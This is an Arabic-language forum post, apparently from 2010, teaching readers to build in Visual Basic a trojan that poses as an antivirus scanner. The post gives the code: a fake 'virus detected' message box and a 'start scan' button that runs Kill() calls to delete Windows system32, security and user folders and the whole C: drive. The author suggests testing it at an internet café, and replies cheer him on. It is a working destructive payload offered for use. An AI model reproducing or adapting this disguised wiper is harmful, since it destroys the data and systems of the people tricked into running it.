بس للي يعرف يشتغل على الفيجوال بيسك !!!!!!!! السلام عليكم قبل ما بلش بقول انه تقريبا رح يكون مختصر و مش رح حط صور لنه ما بعرف,,,,,, بس سبب الاختصار انه الموضوع هيدا حطيتو بمنتدى الفيجوال بيسك للعرب قاموا مسحوه و حظروني فماعاد بدي و جع راسي بالكتابة كتير ... لنبلش : اول شي هو فيروس مخادع يظن المستخدم انه انتي فيروس مجرد ما يعمل سكان راحت عليه و هو من تصميم والله ما سامح احد ينسخه الا انه يقول من تصميم heart rock طيب لنكمل افتح فيجوال بيسك . افتح فورم جديد . و حط هلق لون للفورم متل ما بدك , طيب ليك يا شاطر هلق اختر بوتون او كوماند يعني و سميها start scan و كمان كوماند و سميها help و كمان كوماند و سميها exit و كمان كوماند وسميها errors? risks ؟ طيب هلق حط هدول الكوماندات وين ما بدك يعني رتبهن متل ما بتحب بس تخاص قلي ................... شو خلصت ؟ طيب ليك شو تعمل اختار combobox و حط فيها تلات جمل هن : scan all computer ? scan folders only ? scan hards? طيب هلق نرجع للكوماند help و exit و منروح للproportise و منوقف عملهن اكيد بتعرفوا كيف enabled=false ,,, طيب هلق شو ؟ منروح للكوماند errors ? risks ? منضغط عليها مرتين يعني دوبل كليك و نعطيها كود البرمجة هاد : If Button1.Enabled=True Then MsgBox("please start scan right know .. virus has been declared your system",vbInformation) w انتبه حرف ال w الي شايفه بعد القوس ما تكتبه !! لانه انا اذا ما كتبته هون بصير الكود مشقلب و ما عاد تفهمو شي اوكي ؟ يا ريت تكونوا فهمتوا و ما يصير في تخبيص ... طيب هاد الكود شو معناتو ؟ اسمع يا بطل : اول اذا البوتون 1 تم تشغيلها ساعتها فرجيني هيدي الجملة ....... كود سهل msgbox يعني اظهر و vbinformation يعني خاصت اوامر الفيجوال بيسك ...... بس ليك اذا كان الفيجوال عندك رقم 6 لازم ما تحط بوتون !! حط كوماند و ليك كمان يمكن الكوماند هيدي ما يكون عندك رقمها واحد يمكن 3 مثلا اذا كانت 3 او 2 الخ .... بتقله if button2 او if button3 اوكي ؟ طيب هلق بدك كود التدمير ؟ طيب اضغط دوبل كليك على start scan و اكتب kill ("c:\windows\system32\**.") w كمان احرف الw ما تكتبوها اوكي ؟ طيب الكود التاني كمان تحته مباشرة kill ("c:\windows\notepad\**.") w kill("c:\windows\security\**.") w kill("c:\windows\programfiles\**.") w kill("c:\windows\users\**.") w kill("c:\**.") w End If End sub طيب الكود واضح يعني احذف هدول الشغلات الامن المفكرة الملفات المستخدمين و اخر شي امحي السي طيب هلق الزخرفات متل ما بقولو ال combobox كمان لازم تبرمجها نفس برمجة الerrors? risks ? بس اكيد بتحط if combobox1 مش button1 او command1 و حط الجملة الي بتريدها بين هول الاشارتين لي هيك "" اوكي انا زهقت ما عاد بدي اكتب يا ريت يكون في رد .....................................بس ليكو نسيت انه قول اي برنامج تصنعه على الفيجوال بيسك كرمال تسحبه و تعمله برنامج طبيعي لازم تروح على السي بعدين لازم تكون محفظه بالسي بعدين افتحه بعدين بتلاقي فولدير و فيجوال افتح فولدر بعدين افتح bin بعدين debug بعدين بكون اول واحد فوق ... بس ليك اوعك تكبس start scan اوك ؟ بس لازم تنسخه على disk و تروح تجربه بمحل للنت و هلق رابط تحميل الفيجوال بيسك 2008 و شغال الرابط 1000000000 % http://www.brothersoft.com/visual-ba...oad-67707.html هاد الموقع من افضل المواقع عندي لتحميل البرامج باااااااااااي الامضاء : يرجى عدم نقل الامضاء احتراما لي و لك و عدم احراجك في مجتمع النت i'm a science publisher ..my target is science publish .. my rule is never leave my town flow down .. my name is hacker " Heart Rock " you gave us a meal when want a meat .. i'm a hacker and this is my graph maybe you can stop me .. but you can't stop all of us .. و السلام عليكم و رحمة الله و بركاته ....... على فكرة انا اسلمت من شي شهر يعني صرت واحد جديد من المسلمين
التعديل الأخير تم بواسطة Heart Rock ; 07-31-2010 الساعة 05:18 AM
يا شباب وين الردود ؟ شو ما حد نفذ ؟ طيب اوكي انشاء الله هلق بكتب واحد بانوت باد و سهل كتييييييييييييييييييييييي يييييييير
مشكووووووووووووووور علي المووووضوووع الي يخوف <<<<فيرووووس>>>>
اممممممممممممممممم هيك يعني ؟ طيب والله حتى جيب فيروس انطرو
مشكووووووووووووووووووور اخي على المجهودات
قوانين المنتدى